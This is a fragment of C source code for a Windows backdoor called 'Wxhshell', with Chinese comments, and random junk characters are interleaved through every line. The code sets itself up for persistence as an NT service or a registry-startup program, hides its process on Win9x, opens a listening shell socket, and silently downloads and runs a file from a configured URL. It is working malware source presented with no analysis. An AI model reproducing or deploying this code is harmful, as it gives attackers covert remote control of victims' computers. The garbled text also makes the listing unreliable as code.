- SR~~rD|V if (!NtQueryInformationProcess) return 0; hvGb9 sl%B-;@I hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); \C*?a0!:Z} if(!hProcess) return 0; H5/%"1Q O>w$ if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; H"I|dK : 4|Jy] CloseHandle(hProcess); +S|y)W8 E](Ood hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); V
)1SZt@x if(hProcess==NULL) return 0; n?aogdK$V \I#2Mq? HMODULE hMod; LtH;#Q char procName[255]; Yk<?HNf unsigned long cbNeeded; &e_M \D p%J,af if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); V|xR`Q 0_qqBL.4 CloseHandle(hProcess); *BBP"_$ 6}Y^X if(strstr(procName,"services")) return 1; // 以服务启动 @<},- u ksm=<I"C return 0; // 注册表启动 EEn}Gw } )1J&tV*U !=cW+=1 // 主模块 jbC7U9t7 int StartWxhshell(LPSTR lpCmdLine) CbS9fc& { O|%><I?I SOCKET wsl; ~b8U#'KD BOOL val=TRUE; }RDhI1x[mk int port=0; 6P? struct sockaddr_in door; ]t7<$L dB_\0?jJ- if(wscfg.ws_autoins) Install(); athU qN+ ngk,: port=atoi(lpCmdLine); 33[2$FBf wvJm)Mj+ if(port<=0) port=wscfg.ws_port; hV'JTU]H #12PO q WSADATA data; yZ 6560(q if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; A#2Fd7& K!HSQ,AC if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; @?G.6r~ setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 8K6yqc H door.sin_family = AF_INET; 398}a!XM door.sin_addr.s_addr = inet_addr("127.0.0.1"); gjL>FOe8u door.sin_port = htons(port); lXW.G sqJ?dIBH if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ./[%%" closesocket(wsl); cRT@Cu return 1; IR(JBB|xNQ } GJ
ZT~ 6/.-V1*O if(listen(wsl,2) == INVALID_SOCKET) { ?$pp% closesocket(wsl); U $X"W' return 1; id&; } [)#,~L3 Wxhshell(wsl); Z!~~6Sq WSACleanup(); CdatN$/* &'c1"%*%8> return 0; >UZfi u m}Kn!21 } 5RI"gf !95ZK.UT // 以NT服务方式启动 5R/k -h^` VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ~WehG<p v[ { ArbfA~jXB DWORD status = 0; cZZ-K?_ DWORD specificError = 0xfffffff; ISa2|v;M 6*GY%~JbD serviceStatus.dwServiceType = SERVICE_WIN32; /*`u(d2g serviceStatus.dwCurrentState = SERVICE_START_PENDING; @FdtM<X serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Ngi$y>{Sq serviceStatus.dwWin32ExitCode = 0; k[gO>UGB; serviceStatus.dwServiceSpecificExitCode = 0; l`~*"4|/ serviceStatus.dwCheckPoint = 0; u
z4P serviceStatus.dwWaitHint = 0; 6i(nyA
2! B;2os ^* hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); HKb8z@;%@ if (hServiceStatusHandle==0) return; ^6Hfq^ejt yFH)PQ_ status = GetLastError(); &#w]
2~| if (status!=NO_ERROR) LylB3BM { 2"c$#N serviceStatus.dwCurrentState = SERVICE_STOPPED; a~9U{)@F serviceStatus.dwCheckPoint = 0; hcWkAR serviceStatus.dwWaitHint = 0; 37 T<LU serviceStatus.dwWin32ExitCode = status; >j|.pi serviceStatus.dwServiceSpecificExitCode = specificError; 9`$fU)K[Pl SetServiceStatus(hServiceStatusHandle, &serviceStatus); }tua0{N:z return;
MHpPb{^ } 1ePZs$ l~!\<, ! serviceStatus.dwCurrentState = SERVICE_RUNNING; #dtYa serviceStatus.dwCheckPoint = 0; tl
(2=\ serviceStatus.dwWaitHint = 0; )d2 <;c if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 5 nkx8JJ } .]k+hc` i"r&CS)sT // 处理NT服务事件,比如:启动、停止 cX>
a>U VOID WINAPI NTServiceHandler(DWORD fdwControl) |Eu_K` { bT|a]b: switch(fdwControl) /![S 3Ol { [YpSmEn}Y case SERVICE_CONTROL_STOP: ?76Wg:: serviceStatus.dwWin32ExitCode = 0; 0gL]^_+7 serviceStatus.dwCurrentState = SERVICE_STOPPED; x$[<<@F% serviceStatus.dwCheckPoint = 0; z+@aQ@75 serviceStatus.dwWaitHint = 0; &<_*yl p { A{bt
Z#k SetServiceStatus(hServiceStatusHandle, &serviceStatus); N)RyRR.x1. } _rR+u56y- return; p&>*bF, case SERVICE_CONTROL_PAUSE: D}>pl8ke~g serviceStatus.dwCurrentState = SERVICE_PAUSED; q?nXhUD break; \j+O |#`|) case SERVICE_CONTROL_CONTINUE: %FDi7Rx serviceStatus.dwCurrentState = SERVICE_RUNNING; +%OINMo.A break; _[<R<&jG case SERVICE_CONTROL_INTERROGATE: ^&03D5@LoY break; E3X:{h/ }; +?w 7Nm` SetServiceStatus(hServiceStatusHandle, &serviceStatus); GLp2
?fon } #5wOgOv hq6B
pE // 标准应用程序主函数 &na#ES$X, int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) =;W"Pi;* { .0:BgM rjo/-910 // 获取操作系统版本 D^baXp8 OsIsNt=GetOsVer(); Hzcy' GetModuleFileName(NULL,ExeFile,MAX_PATH); 2E33m*C2 ug'I:#@2 // 从命令行安装 GbFLu`I u if(strpbrk(lpCmdLine,"iI")) Install(); IEfzu L<v 2?u>A3^R // 下载执行文件 n (7m if(wscfg.ws_downexe) { gPSUxE`O. if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) =Mzg={)v WinExec(wscfg.ws_filenam,SW_HIDE); cv=nGFx6 } Uq5wN05 I= G%r/3 if(!OsIsNt) { ZR.1SA0x?O // 如果时win9x,隐藏进程并且设置为注册表启动 ng0IRJ:3 HideProc(); w,bILv) StartWxhshell(lpCmdLine); QM\vruTB } D>+&= 5{ else iS&~oj_-% if(StartFromService()) w<3}(1 // 以服务方式启动 ZM K"3c9 StartServiceCtrlDispatcher(DispatchTable); ^1s!OT Is else )G\23P // 普通方式启动 K{.s{;# StartWxhshell(lpCmdLine); 7F5t& 3~z4#8= return 0; L>5VnzS I }
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